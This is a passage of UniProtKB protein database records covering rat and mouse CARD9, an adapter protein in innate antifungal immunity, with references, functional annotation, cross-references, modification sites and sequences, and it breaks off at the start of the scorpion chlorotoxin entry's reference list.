RA DiStefano P.S., Alnemri E.S.;
RT "CARD9 is a novel caspase recruitment domain-containing protein that
RT interacts with Bcl10/CLAP and activates NF-kappa B.";
RL J. Biol. Chem. 275:41082-41086(2000).
RN [2]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA].
RC STRAIN=Brown Norway;
RX PubMed=15057822; DOI=10.1038/nature02426;
RA Gibbs R.A., Weinstock G.M., Metzker M.L., Muzny D.M., Sodergren E.J.,
RA Scherer S., Scott G., Steffen D., Worley K.C., Burch P.E., Okwuonu G.,
RA Hines S., Lewis L., Deramo C., Delgado O., Dugan-Rocha S., Miner G.,
RA Morgan M., Hawes A., Gill R., Holt R.A., Adams M.D., Amanatides P.G.,
RA Baden-Tillson H., Barnstead M., Chin S., Evans C.A., Ferriera S.,
RA Fosler C., Glodek A., Gu Z., Jennings D., Kraft C.L., Nguyen T.,
RA Pfannkoch C.M., Sitter C., Sutton G.G., Venter J.C., Woodage T.,
RA Smith D., Lee H.-M., Gustafson E., Cahill P., Kana A.,
RA Doucette-Stamm L., Weinstock K., Fechtel K., Weiss R.B., Dunn D.M.,
RA Green E.D., Blakesley R.W., Bouffard G.G., De Jong P.J., Osoegawa K.,
RA Zhu B., Marra M., Schein J., Bosdet I., Fjell C., Jones S.,
RA Krzywinski M., Mathewson C., Siddiqui A., Wye N., McPherson J.,
RA Zhao S., Fraser C.M., Shetty J., Shatsman S., Geer K., Chen Y.,
RA Abramzon S., Nierman W.C., Havlak P.H., Chen R., Durbin K.J., Egan A.,
RA Ren Y., Song X.-Z., Li B., Liu Y., Qin X., Cawley S., Cooney A.J.,
RA D'Souza L.M., Martin K., Wu J.Q., Gonzalez-Garay M.L., Jackson A.R.,
RA Kalafus K.J., McLeod M.P., Milosavljevic A., Virk D., Volkov A.,
RA Wheeler D.A., Zhang Z., Bailey J.A., Eichler E.E., Tuzun E.,
RA Birney E., Mongin E., Ureta-Vidal A., Woodwark C., Zdobnov E.,
RA Bork P., Suyama M., Torrents D., Alexandersson M., Trask B.J.,
RA Young J.M., Huang H., Wang H., Xing H., Daniels S., Gietzen D.,
RA Schmidt J., Stevens K., Vitt U., Wingrove J., Camara F., Mar Alba M.,
RA Abril J.F., Guigo R., Smit A., Dubchak I., Rubin E.M., Couronne O.,
RA Poliakov A., Huebner N., Ganten D., Goesele C., Hummel O.,
RA Kreitler T., Lee Y.-A., Monti J., Schulz H., Zimdahl H.,
RA Himmelbauer H., Lehrach H., Jacob H.J., Bromberg S.,
RA Gullings-Handley J., Jensen-Seaman M.I., Kwitek A.E., Lazar J.,
RA Pasko D., Tonellato P.J., Twigger S., Ponting C.P., Duarte J.M.,
RA Rice S., Goodstadt L., Beatson S.A., Emes R.D., Winter E.E.,
RA Webber C., Brandt P., Nyakatura G., Adetobi M., Chiaromonte F.,
RA Elnitski L., Eswara P., Hardison R.C., Hou M., Kolbe D., Makova K.,
RA Miller W., Nekrutenko A., Riemer C., Schwartz S., Taylor J., Yang S.,
RA Zhang Y., Lindpaintner K., Andrews T.D., Caccamo M., Clamp M.,
RA Clarke L., Curwen V., Durbin R.M., Eyras E., Searle S.M., Cooper G.M.,
RA Batzoglou S., Brudno M., Sidow A., Stone E.A., Payseur B.A.,
RA Bourque G., Lopez-Otin C., Puente X.S., Chakrabarti K., Chatterji S.,
RA Dewey C., Pachter L., Bray N., Yap V.B., Caspi A., Tesler G.,
RA Pevzner P.A., Haussler D., Roskin K.M., Baertsch R., Clawson H.,
RA Furey T.S., Hinrichs A.S., Karolchik D., Kent W.J., Rosenbloom K.R.,
RA Trumbower H., Weirauch M., Cooper D.N., Stenson P.D., Ma B., Brent M.,
RA Arumugam M., Shteynberg D., Copley R.R., Taylor M.S., Riethman H.,
RA Mudunuri U., Peterson J., Guyer M., Felsenfeld A., Old S., Mockrin S.,
RA Collins F.S.;
RT "Genome sequence of the Brown Norway rat yields insights into
RT mammalian evolution.";
RL Nature 428:493-521(2004).
RN [3]
RP PHOSPHORYLATION AT THR-531 AND THR-533, MUTAGENESIS OF THR-526;
RP SER-528; THR-531 AND THR-533, FUNCTION, AND INTERACTION WITH VHL.
RX PubMed=17936701; DOI=10.1016/j.molcel.2007.09.010;
RA Yang H., Minamishima Y.A., Yan Q., Schlisio S., Ebert B.L., Zhang X.,
RA Zhang L., Kim W.Y., Olumi A.F., Kaelin W.G. Jr.;
RT "pVHL acts as an adaptor to promote the inhibitory phosphorylation of
RT the NF-kappaB agonist Card9 by CK2.";
RL Mol. Cell 28:15-27(2007).
RN [4]
RP PHOSPHORYLATION [LARGE SCALE ANALYSIS] AT SER-2; SER-424; SER-425;
RP SER-451 AND SER-461, AND IDENTIFICATION BY MASS SPECTROMETRY [LARGE
RP SCALE ANALYSIS].
RX PubMed=22673903; DOI=10.1038/ncomms1871;
RA Lundby A., Secher A., Lage K., Nordsborg N.B., Dmytriyev A.,
RA Lundby C., Olsen J.V.;
RT "Quantitative maps of protein phosphorylation sites across 14
RT different rat organs and tissues.";
RL Nat. Commun. 3:876-876(2012).
CC -!- FUNCTION: Adapter protein that plays a key role in innate immune
CC response to a number of intracellular pathogens, such as
CC C.albicans and L.monocytogenes. Is at the crossroads of ITAM-
CC tyrosine kinase and the Toll-like receptors (TLR) and NOD2
CC signaling pathways. Probably controls various innate immune
CC response pathways depending on the intracellular pathogen. In
CC response to L.monocytogenes infection, acts by connecting NOD2
CC recognition of peptidoglycan to downstream activation of MAP
CC kinases (MAPK) without activating NF-kappa-B. In response to
CC fungal infection, may be required for the development and
CC subsequent differentiation of interleukin 17-producing T helper
CC (TH-17) cells. Also involved in activation of myeloid cells via
CC classical ITAM-associated receptors and TLR: required for TLR-
CC mediated activation of MAPK, while it is not required for TLR-
CC induced activation of NF-kappa-B (By similarity). Controls CLEC7A
CC (dectin-1)-mediated myeloid cell activation induced by the yeast
CC cell wall component zymosan, leading to cytokine production and
CC innate anti-fungal immunity: acts by regulating BCL10-MALT1-
CC mediated NF-kappa-B activation pathway. Activates NF-kappa-B via
CC BCL10. In response to the hyphal form of C.albicans, mediates
CC CLEC6A (dectin-2)-induced I-kappa-B kinase ubiquitination, leading
CC to NF-kappa-B activation via interaction with BCL10. {ECO:0000250,
CC ECO:0000269|PubMed:17936701}.
CC -!- SUBUNIT: Self-associates. Interacts (via CARD domain) with BCL10
CC (via CARD domain). Interacts with NOD2 (via NACHT domain) (By
CC similarity). Interacts with RIPK2 (By similarity). Interacts with
CC VHL; without leading to protein degradation (PubMed:17936701).
CC {ECO:0000250, ECO:0000250|UniProtKB:A2AIV8,
CC ECO:0000269|PubMed:17936701}.
CC -!- SUBCELLULAR LOCATION: Cytoplasm {ECO:0000250}.
CC -!- PTM: Phosphorylated at Thr-531 and Thr-533 by CK2 following
CC interaction with VHL, leading to inhibit the ability to activate
CC NF-kappa-B. {ECO:0000269|PubMed:17936701}.
CC -!- SIMILARITY: Contains 1 CARD domain. {ECO:0000255|PROSITE-
CC ProRule:PRU00046}.
CC -----------------------------------------------------------------------
CC Copyrighted by the UniProt Consortium, see http://www.uniprot.org/terms
CC Distributed under the Creative Commons Attribution-NoDerivs License
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DR EMBL; AF311288; AAG28791.1; -; mRNA.
DR EMBL; AABR06021907; -; NOT_ANNOTATED_CDS; Genomic_DNA.
DR RefSeq; NP_071639.1; NM_022303.1.
DR UniGene; Rn.64486; -.
DR ProteinModelPortal; Q9EPY0; -.
DR STRING; 10116.ENSRNOP00000025456; -.
DR iPTMnet; Q9EPY0; -.
DR PhosphoSite; Q9EPY0; -.
DR PaxDb; Q9EPY0; -.
DR PRIDE; Q9EPY0; -.
DR Ensembl; ENSRNOT00000091484; ENSRNOP00000074450; ENSRNOG00000051470.
DR GeneID; 64171; -.
DR KEGG; rno:64171; -.
DR UCSC; RGD:708370; rat.
DR CTD; 64170; -.
DR RGD; 708370; Card9.
DR eggNOG; ENOG410IE3N; Eukaryota.
DR eggNOG; ENOG410Y2EE; LUCA.
DR GeneTree; ENSGT00530000063108; -.
DR HOGENOM; HOG000231538; -.
DR HOVERGEN; HBG058091; -.
DR InParanoid; Q9EPY0; -.
DR KO; K12794; -.
DR OMA; KEPARAF; -.
DR OrthoDB; EOG091G0T58; -.
DR Reactome; R-RNO-5607764; CLEC7A (Dectin-1) signaling.
DR PRO; PR:Q9EPY0; -.
DR Proteomes; UP000002494; Chromosome 3.
DR Bgee; ENSRNOG00000018794; -.
DR Genevisible; Q9EPY0; RN.
DR GO; GO:0005737; C:cytoplasm; IEA:UniProtKB-SubCell.
DR GO; GO:0019904; F:protein domain specific binding; IMP:RGD.
DR GO; GO:0050830; P:defense response to Gram-positive bacterium; IEA:Ensembl.
DR GO; GO:0051607; P:defense response to virus; IEA:Ensembl.
DR GO; GO:0007249; P:I-kappaB kinase/NF-kappaB signaling; IMP:RGD.
DR GO; GO:0045087; P:innate immune response; IEA:UniProtKB-KW.
DR GO; GO:0043123; P:positive regulation of I-kappaB kinase/NF-kappaB signaling; IEA:Ensembl.
DR GO; GO:0045089; P:positive regulation of innate immune response; IEA:Ensembl.
DR GO; GO:0032755; P:positive regulation of interleukin-6 production; IEA:Ensembl.
DR GO; GO:0046330; P:positive regulation of JNK cascade; IEA:Ensembl.
DR GO; GO:0032760; P:positive regulation of tumor necrosis factor production; IEA:Ensembl.
DR GO; GO:0042981; P:regulation of apoptotic process; IEA:InterPro.
DR GO; GO:0045076; P:regulation of interleukin-2 biosynthetic process; IEA:Ensembl.
DR GO; GO:0045408; P:regulation of interleukin-6 biosynthetic process; IEA:Ensembl.
DR GO; GO:0042534; P:regulation of tumor necrosis factor biosynthetic process; IEA:Ensembl.
DR GO; GO:0042493; P:response to drug; IEA:Ensembl.
DR GO; GO:0043330; P:response to exogenous dsRNA; IEA:Ensembl.
DR GO; GO:0009620; P:response to fungus; IEA:Ensembl.
DR GO; GO:0032495; P:response to muramyl dipeptide; IEA:Ensembl.
DR GO; GO:0032494; P:response to peptidoglycan; IEA:Ensembl.
DR Gene3D; 1.10.533.10; -; 1.
DR InterPro; IPR001315; CARD.
DR InterPro; IPR011029; DEATH-like_dom.
DR Pfam; PF00619; CARD; 1.
DR SUPFAM; SSF47986; SSF47986; 1.
DR PROSITE; PS50209; CARD; 1.
PE 1: Evidence at protein level;
KW Coiled coil; Complete proteome; Cytoplasm; Immunity; Innate immunity;
KW Phosphoprotein; Reference proteome.
FT CHAIN 1 536 Caspase recruitment domain-containing
FT protein 9.
FT /FTId=PRO_0000144083.
FT DOMAIN 6 98 CARD. {ECO:0000255|PROSITE-
FT ProRule:PRU00046}.
FT COILED 117 277 {ECO:0000255}.
FT COILED 303 420 {ECO:0000255}.
FT MOD_RES 2 2 Phosphoserine.
FT {ECO:0000244|PubMed:22673903}.
FT MOD_RES 277 277 Phosphoserine.
FT {ECO:0000250|UniProtKB:Q9H257}.
FT MOD_RES 424 424 Phosphoserine.
FT {ECO:0000244|PubMed:22673903}.
FT MOD_RES 425 425 Phosphoserine.
FT {ECO:0000244|PubMed:22673903}.
FT MOD_RES 431 431 Phosphoserine.
FT {ECO:0000250|UniProtKB:A2AIV8}.
FT MOD_RES 451 451 Phosphoserine.
FT {ECO:0000244|PubMed:22673903}.
FT MOD_RES 461 461 Phosphoserine.
FT {ECO:0000244|PubMed:22673903}.
FT MOD_RES 483 483 Phosphoserine.
FT {ECO:0000250|UniProtKB:Q9H257}.
FT MOD_RES 498 498 Phosphoserine.
FT {ECO:0000250|UniProtKB:Q9H257}.
FT MOD_RES 531 531 Phosphothreonine; by CK2.
FT {ECO:0000269|PubMed:17936701}.
FT MOD_RES 533 533 Phosphothreonine; by CK2.
FT {ECO:0000269|PubMed:17936701}.
FT MUTAGEN 526 526 T->A: Abolished phosphorylation by CK2
FT and increased activation of NF-kappa-B;
FT when associated with A-528; A-531 and A-
FT 533. {ECO:0000269|PubMed:17936701}.
FT MUTAGEN 528 528 S->A: Abolished phosphorylation by CK2
FT and increased activation of NF-kappa-B;
FT when associated with A-526; A-531 and A-
FT 533. {ECO:0000269|PubMed:17936701}.
FT MUTAGEN 531 531 T->A: Abolished phosphorylation by CK2
FT and increased activation of NF-kappa-B;
FT when associated with A-526; A-528 and A-
FT 533. {ECO:0000269|PubMed:17936701}.
FT MUTAGEN 533 533 T->A: Abolished phosphorylation by CK2
FT and increased activation of NF-kappa-B;
FT when associated with A-526; A-528 and A-
FT 531. {ECO:0000269|PubMed:17936701}.
SQ SEQUENCE 536 AA; 62632 MW; 6F33089CB7E6BAC9 CRC64;
MSDYENDDEC WSALESFRVK LISVIDPSRI TPYLRQCKVL NPDDEEQVLS DPNLVIRKRK
VGVLLDILQR TGHKGYVAFL ESLELYYPQL YRKVTGKEPA RVFSMIIDAS GESGLTQLLM
TEVMKLQKKV QDLTALLSSK DDFIKELRVK DSLLRKHQER VQRLKEECEL SSAELKRCKD
ENYDLAMRLA HLSEEKGAAL MRNRDLQLEV DQLRHSLMKA EDDCKVERKH TLKLRHAMEQ
RPSQELLWDL QQERDLLQAR VQELEVSVQE GKLHRNSPYI QVLEEDWRQA LQEHQEQAST
IFSLRKDLRQ AEALRTRCME EKEMFELQCL ALRKDAKMYK DRIEAILQQM EEVSIERDQA
MTSREELHAQ CAQSFQDKDK LRKQVRELDE KADELQLQLF QTESRLLAAE GRLKQQQLDM
LILSSDLEDS SPRNSQELSL PQDLEEDAQL SDKGVLADRE SPEQPFVVLN KKHLSQTHDT
VPSSSEPPEK ERRRLKESFE NYRRKRALRK MQNSWRQGEG DHGNTTGSDN TDTEGS
//
ID CARD9_MOUSE Reviewed; 536 AA.
AC A2AIV8;
DT 16-APR-2014, integrated into UniProtKB/Swiss-Prot.
DT 20-FEB-2007, sequence version 1.
DT 07-SEP-2016, entry version 84.
DE RecName: Full=Caspase recruitment domain-containing protein 9;
GN Name=Card9;
OS Mus musculus (Mouse).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Euarchontoglires; Glires; Rodentia; Sciurognathi;
OC Muroidea; Muridae; Murinae; Mus; Mus.
OX NCBI_TaxID=10090;
RN [1]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA].
RC STRAIN=C57BL/6J;
RX PubMed=19468303; DOI=10.1371/journal.pbio.1000112;
RA Church D.M., Goodstadt L., Hillier L.W., Zody M.C., Goldstein S.,
RA She X., Bult C.J., Agarwala R., Cherry J.L., DiCuccio M., Hlavina W.,
RA Kapustin Y., Meric P., Maglott D., Birtle Z., Marques A.C., Graves T.,
RA Zhou S., Teague B., Potamousis K., Churas C., Place M., Herschleb J.,
RA Runnheim R., Forrest D., Amos-Landgraf J., Schwartz D.C., Cheng Z.,
RA Lindblad-Toh K., Eichler E.E., Ponting C.P.;
RT "Lineage-specific biology revealed by a finished genome assembly of
RT the mouse.";
RL PLoS Biol. 7:E1000112-E1000112(2009).
RN [2]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE MRNA].
RX PubMed=15489334; DOI=10.1101/gr.2596504;
RG The MGC Project Team;
RT "The status, quality, and expansion of the NIH full-length cDNA
RT project: the Mammalian Gene Collection (MGC).";
RL Genome Res. 14:2121-2127(2004).
RN [3]
RP FUNCTION, TISSUE SPECIFICITY, AND DISRUPTION PHENOTYPE.
RX PubMed=16862125; DOI=10.1038/nature04926;
RA Gross O., Gewies A., Finger K., Schafer M., Sparwasser T., Peschel C.,
RA Forster I., Ruland J.;
RT "Card9 controls a non-TLR signalling pathway for innate anti-fungal
RT immunity.";
RL Nature 442:651-656(2006).
RN [4]
RP FUNCTION, TISSUE SPECIFICITY, DISRUPTION PHENOTYPE, AND INTERACTION
RP WITH NOD2 AND RIPK2.
RX PubMed=17187069; DOI=10.1038/ni1426;
RA Hsu Y.M., Zhang Y., You Y., Wang D., Li H., Duramad O., Qin X.F.,
RA Dong C., Lin X.;
RT "The adaptor protein CARD9 is required for innate immune responses to
RT intracellular pathogens.";
RL Nat. Immunol. 8:198-205(2007).
RN [5]
RP REVIEW.
RX PubMed=17514206; DOI=10.1038/ni0607-554;
RA Colonna M.;
RT "All roads lead to CARD9.";
RL Nat. Immunol. 8:554-555(2007).
RN [6]
RP FUNCTION, AND DISRUPTION PHENOTYPE.
RX PubMed=17486093; DOI=10.1038/ni1466;
RA Hara H., Ishihara C., Takeuchi A., Imanishi T., Xue L., Morris S.W.,
RA Inui M., Takai T., Shibuya A., Saijo S., Iwakura Y., Ohno N.,
RA Koseki H., Yoshida H., Penninger J.M., Saito T.;
RT "The adaptor protein CARD9 is essential for the activation of myeloid
RT cells through ITAM-associated and Toll-like receptors.";
RL Nat. Immunol. 8:619-629(2007).
RN [7]
RP FUNCTION, AND DISRUPTION PHENOTYPE.
RX PubMed=17450144; DOI=10.1038/ni1460;
RA LeibundGut-Landmann S., Gross O., Robinson M.J., Osorio F.,
RA Slack E.C., Tsoni S.V., Schweighoffer E., Tybulewicz V., Brown G.D.,
RA Ruland J., Reis e Sousa C.;
RT "Syk- and CARD9-dependent coupling of innate immunity to the induction
RT of T helper cells that produce interleukin 17.";
RL Nat. Immunol. 8:630-638(2007).
RN [8]
RP PHOSPHORYLATION [LARGE SCALE ANALYSIS] AT SER-431 AND SER-461, AND
RP IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RC TISSUE=Brain, Spleen, and Testis;
RX PubMed=21183079; DOI=10.1016/j.cell.2010.12.001;
RA Huttlin E.L., Jedrychowski M.P., Elias J.E., Goswami T., Rad R.,
RA Beausoleil S.A., Villen J., Haas W., Sowa M.E., Gygi S.P.;
RT "A tissue-specific atlas of mouse protein phosphorylation and
RT expression.";
RL Cell 143:1174-1189(2010).
RN [9]
RP FUNCTION.
RX PubMed=20538615; DOI=10.1074/jbc.M110.131300;
RA Bi L., Gojestani S., Wu W., Hsu Y.M., Zhu J., Ariizumi K., Lin X.;
RT "CARD9 mediates dectin-2-induced IkappaBalpha kinase ubiquitination
RT leading to activation of NF-kappaB in response to stimulation by the
RT hyphal form of Candida albicans.";
RL J. Biol. Chem. 285:25969-25977(2010).
RN [10]
RP INTERACTION WITH NOD2.
RX PubMed=24960071; DOI=10.1016/j.febslet.2014.06.035;
RA Parkhouse R., Boyle J.P., Mayle S., Sawmynaden K., Rittinger K.,
RA Monie T.P.;
RT "Interaction between NOD2 and CARD9 involves the NOD2 NACHT and the
RT linker region between the NOD2 CARDs and NACHT domain.";
RL FEBS Lett. 588:2830-2836(2014).
CC -!- FUNCTION: Adapter protein that plays a key role in innate immune
CC response to a number of intracellular pathogens, such as
CC C.albicans and L.monocytogenes. Is at the crossroads of ITAM-
CC tyrosine kinase and the Toll-like receptors (TLR) and NOD2
CC signaling pathways (PubMed:17514206). Probably controls various
CC innate immune response pathways depending on the intracellular
CC pathogen. Controls CLEC7A (dectin-1)-mediated myeloid cell
CC activation induced by the yeast cell wall component zymosan,
CC leading to cytokine production and innate anti-fungal immunity:
CC acts by regulating BCL10-MALT1-mediated NF-kappa-B activation
CC pathway. Activates NF-kappa-B via BCL10 (PubMed:16862125). In
CC response to the hyphal form of C.albicans, mediates CLEC6A
CC (dectin-2)-induced I-kappa-B kinase ubiquitination, leading to NF-
CC kappa-B activation via interaction with BCL10 (PubMed:20538615).
CC In response to L.monocytogenes infection, acts by connecting NOD2
CC recognition of peptidoglycan to downstream activation of MAP
CC kinases (MAPK) without activating NF-kappa-B (PubMed:17187069). In
CC response to fungal infection, may be required for the development
CC and subsequent differentiation of interleukin 17-producing T
CC helper (TH-17) cells (PubMed:17450144). Also involved in
CC activation of myeloid cells via classical ITAM-associated
CC receptors and TLR: required for TLR-mediated activation of MAPK,
CC while it is not required for TLR-induced activation of NF-kappa-B
CC (PubMed:17486093). {ECO:0000269|PubMed:16862125,
CC ECO:0000269|PubMed:17187069, ECO:0000269|PubMed:17450144,
CC ECO:0000269|PubMed:17486093, ECO:0000269|PubMed:17514206,
CC ECO:0000269|PubMed:20538615}.
CC -!- SUBUNIT: Interacts with VHL; without leading to protein
CC degradation (By similarity). Self-associates. Interacts (via CARD
CC domain) with BCL10 (via CARD domain) (By similarity). Interacts
CC with NOD2 (via NACHT domain)(PubMed:17187069, PubMed:24960071).
CC Interacts with RIPK2 (PubMed:17187069).
CC {ECO:0000250|UniProtKB:Q9EPY0, ECO:0000250|UniProtKB:Q9H257,
CC ECO:0000269|PubMed:17187069, ECO:0000269|PubMed:24960071}.
CC -!- SUBCELLULAR LOCATION: Cytoplasm {ECO:0000250}.
CC -!- TISSUE SPECIFICITY: Expressed in myeloid cells. Not expressed in
CC non-lymphoid organs. {ECO:0000269|PubMed:16862125,
CC ECO:0000269|PubMed:17187069}.
CC -!- PTM: Phosphorylated at Thr-531 and Thr-531 by CK2 following
CC interaction with VHL, leading to inhibit the ability to activate
CC NF-kappa-B. {ECO:0000250}.
CC -!- DISRUPTION PHENOTYPE: Mice were born at the normal Mendelian ratio
CC without obvious anatomical defects but display impaired innate
CC immunity (PubMed:16862125, PubMed:17187069). All mice die within 5
CC days after infection by C.albicans whereas more than half of the
CC control mice survive for more than 12 days. Impaired zymosan-
CC induced cytokine production. No defects in adaptive immunity
CC (PubMed:16862125). Following infection by L.monocytogenes, mice
CC fail to clear infection and show altered cytokine production
CC (PubMed:17187069). {ECO:0000269|PubMed:16862125,
CC ECO:0000269|PubMed:17187069, ECO:0000269|PubMed:17450144,
CC ECO:0000269|PubMed:17486093}.
CC -!- SIMILARITY: Contains 1 CARD domain. {ECO:0000255|PROSITE-
CC ProRule:PRU00046}.
CC -----------------------------------------------------------------------
CC Copyrighted by the UniProt Consortium, see http://www.uniprot.org/terms
CC Distributed under the Creative Commons Attribution-NoDerivs License
CC -----------------------------------------------------------------------
DR EMBL; AL732541; -; NOT_ANNOTATED_CDS; Genomic_DNA.
DR EMBL; BC151023; AAI51024.1; -; mRNA.
DR CCDS; CCDS38084.1; -.
DR RefSeq; NP_001032836.1; NM_001037747.1.
DR RefSeq; XP_006498199.1; XM_006498136.2.
DR UniGene; Mm.330064; -.
DR ProteinModelPortal; A2AIV8; -.
DR SMR; A2AIV8; 11-98.
DR IntAct; A2AIV8; 1.
DR STRING; 10090.ENSMUSP00000028294; -.
DR iPTMnet; A2AIV8; -.
DR PhosphoSite; A2AIV8; -.
DR MaxQB; A2AIV8; -.
DR PaxDb; A2AIV8; -.
DR PeptideAtlas; A2AIV8; -.
DR PRIDE; A2AIV8; -.
DR DNASU; 332579; -.
DR Ensembl; ENSMUST00000028294; ENSMUSP00000028294; ENSMUSG00000026928.
DR Ensembl; ENSMUST00000100303; ENSMUSP00000097876; ENSMUSG00000026928.
DR GeneID; 332579; -.
DR KEGG; mmu:332579; -.
DR UCSC; uc008iut.1; mouse.
DR CTD; 64170; -.
DR MGI; MGI:2685628; Card9.
DR eggNOG; ENOG410IE3N; Eukaryota.
DR eggNOG; ENOG410Y2EE; LUCA.
DR GeneTree; ENSGT00530000063108; -.
DR HOGENOM; HOG000231538; -.
DR HOVERGEN; HBG058091; -.
DR InParanoid; A2AIV8; -.
DR KO; K12794; -.
DR OMA; KEPARAF; -.
DR OrthoDB; EOG091G0T58; -.
DR PhylomeDB; A2AIV8; -.
DR TreeFam; TF351139; -.
DR Reactome; R-MMU-168638; NOD1/2 Signaling Pathway.
DR Reactome; R-MMU-5607764; CLEC7A (Dectin-1) signaling.
DR PRO; PR:A2AIV8; -.
DR Proteomes; UP000000589; Chromosome 2.
DR Bgee; ENSMUSG00000026928; -.
DR GO; GO:0005737; C:cytoplasm; ISO:MGI.
DR GO; GO:0005829; C:cytosol; TAS:Reactome.
DR GO; GO:0050700; F:CARD domain binding; ISO:MGI.
DR GO; GO:0042803; F:protein homodimerization activity; ISO:MGI.
DR GO; GO:0050830; P:defense response to Gram-positive bacterium; IMP:MGI.
DR GO; GO:0051607; P:defense response to virus; IMP:MGI.
DR GO; GO:0007249; P:I-kappaB kinase/NF-kappaB signaling; IEA:Ensembl.
DR GO; GO:0045087; P:innate immune response; IEA:UniProtKB-KW.
DR GO; GO:0070423; P:nucleotide-binding oligomerization domain containing signaling pathway; TAS:Reactome.
DR GO; GO:0043123; P:positive regulation of I-kappaB kinase/NF-kappaB signaling; IEA:Ensembl.
DR GO; GO:0045089; P:positive regulation of innate immune response; IMP:MGI.
DR GO; GO:0032755; P:positive regulation of interleukin-6 production; IMP:MGI.
DR GO; GO:0046330; P:positive regulation of JNK cascade; IMP:MGI.
DR GO; GO:0032874; P:positive regulation of stress-activated MAPK cascade; IMP:MGI.
DR GO; GO:0032760; P:positive regulation of tumor necrosis factor production; IMP:MGI.
DR GO; GO:0042981; P:regulation of apoptotic process; IEA:InterPro.
DR GO; GO:0045076; P:regulation of interleukin-2 biosynthetic process; IMP:MGI.
DR GO; GO:0045408; P:regulation of interleukin-6 biosynthetic process; IMP:MGI.
DR GO; GO:0042534; P:regulation of tumor necrosis factor biosynthetic process; IMP:MGI.
DR GO; GO:0042493; P:response to drug; IMP:MGI.
DR GO; GO:0043330; P:response to exogenous dsRNA; IMP:MGI.
DR GO; GO:0009620; P:response to fungus; IMP:MGI.
DR GO; GO:0032495; P:response to muramyl dipeptide; IMP:MGI.
DR GO; GO:0032494; P:response to peptidoglycan; IMP:MGI.
DR Gene3D; 1.10.533.10; -; 1.
DR InterPro; IPR001315; CARD.
DR InterPro; IPR011029; DEATH-like_dom.
DR Pfam; PF00619; CARD; 1.
DR SUPFAM; SSF47986; SSF47986; 1.
DR PROSITE; PS50209; CARD; 1.
PE 1: Evidence at protein level;
KW Coiled coil; Complete proteome; Cytoplasm; Immunity; Innate immunity;
KW Phosphoprotein; Reference proteome.
FT CHAIN 1 536 Caspase recruitment domain-containing
FT protein 9.
FT /FTId=PRO_0000428725.
FT DOMAIN 6 98 CARD. {ECO:0000255|PROSITE-
FT ProRule:PRU00046}.
FT COILED 117 272 {ECO:0000255}.
FT COILED 303 415 {ECO:0000255}.
FT MOD_RES 2 2 Phosphoserine.
FT {ECO:0000250|UniProtKB:Q9EPY0}.
FT MOD_RES 277 277 Phosphoserine.
FT {ECO:0000250|UniProtKB:Q9H257}.
FT MOD_RES 424 424 Phosphoserine.
FT {ECO:0000250|UniProtKB:Q9EPY0}.
FT MOD_RES 425 425 Phosphoserine.
FT {ECO:0000250|UniProtKB:Q9H257}.
FT MOD_RES 431 431 Phosphoserine.
FT {ECO:0000244|PubMed:21183079}.
FT MOD_RES 451 451 Phosphoserine.
FT {ECO:0000250|UniProtKB:Q9EPY0}.
FT MOD_RES 461 461 Phosphoserine.
FT {ECO:0000244|PubMed:21183079}.
FT MOD_RES 483 483 Phosphoserine.
FT {ECO:0000250|UniProtKB:Q9H257}.
FT MOD_RES 498 498 Phosphoserine.
FT {ECO:0000250|UniProtKB:Q9H257}.
FT MOD_RES 531 531 Phosphothreonine; by CK2. {ECO:0000250}.
FT MOD_RES 533 533 Phosphothreonine; by CK2. {ECO:0000250}.
SQ SEQUENCE 536 AA; 62462 MW; 3A5403C7A04EA2C9 CRC64;
MSDYENDDEC WSTLESFRVK LISVIDPSRI TPYLRQCKVL NPDDEEQVLS DPNLVIRKRK
VGVLLDILQR TGHKGYVAFL ESLELYYPQL YRKVTGKEPA RVFSMIIDAS GESGLTQLLM
TEVMKLQKKV QDLTALLSSK DDFIKELRVK DSLLRKHQER VQRLKEECEL SSAELKRCKD
ENYELAMCLA HLSEEKGAAL MRNRDLQLEV DRLRHSLMKA EDDCKVERKH TLKLRHAMEQ
RPSQELLWEL QQEKDLLQAR VQELQVSVQE GKLDRNSPYI QVLEEDWRQA LQEHQKQVST
IFSLRKDLRQ AETLRARCTE EKEMFELQCL ALRKDAKMYK DRIEAILLQM EEVSIERDQA
MASREELHAQ CTQSFQDKDK LRKLVRELGE KADELQLQLF QTESRLLAAE GRLKQQQLDM
LILSSDLEDS SPRNSQELSL PQDLEEDAQL SDKGVLADRE SPEQPFMALN KEHLSLTHGM
GPSSSEPPEK ERRRLKESFE NYRRKRALRK MQNSWRQGEG DRGNTTGSDN TDTEGS
//
ID CTXL_LEIQU Reviewed; 36 AA.
AC P45639;
DT 01-NOV-1995, integrated into UniProtKB/Swiss-Prot.
DT 01-NOV-1995, sequence version 1.
DT 09-DEC-2015, entry version 78.
DE RecName: Full=Chlorotoxin;
DE Short=CTX;
DE Short=ClTx;
OS Leiurus quinquestriatus quinquestriatus (Egyptian scorpion)
OS (Deathstalker scorpion).
OC Eukaryota; Metazoa; Ecdysozoa; Arthropoda; Chelicerata; Arachnida;
OC Scorpiones; Buthida; Buthoidea; Buthidae; Leiurus.
OX NCBI_TaxID=6885;
RN [1]
RP PROTEIN SEQUENCE, AND FUNCTION.
RC TISSUE=Venom;
RX PubMed=8383429;
RA Debin J.A., Maggio J.E., Strichartz G.R.;
RT "Purification and characterization of chlorotoxin, a chloride channel
RT ligand from the venom of the scorpion.";
RL Am. J. Physiol. 264:C361-C369(1993).
RN [2]
RP FUNCTION AS MMP-2 BINDING TOXIN.
RX PubMed=12454020; DOI=10.1074/jbc.M205662200;
RA Deshane J., Garner C.C., Sontheimer H.;
RT "Chlorotoxin inhibits glioma cell invasion via matrix
RT metalloproteinase-2.";
RL J. Biol. Chem. 278:4135-4144(2003).
RN [3]
RP PROBABLE FUNCTION AS CLC3 INHIBITOR, AND REVIEW.
RX PubMed=16520829; DOI=10.1017/S1740925X06000044;
RA McFerrin M.B., Sontheimer H.;
RT "A role for ion channels in glioma cell invasion.";
RL Neuron Glia Biol. 2:39-49(2006).
RN [4]
RP BIOTECHNOLOGY.
RX PubMed=17638899; DOI=10.1158/0008-5472.CAN-06-3948;
RA Veiseh M., Gabikian P., Bahrami S.B., Veiseh O., Zhang M.,
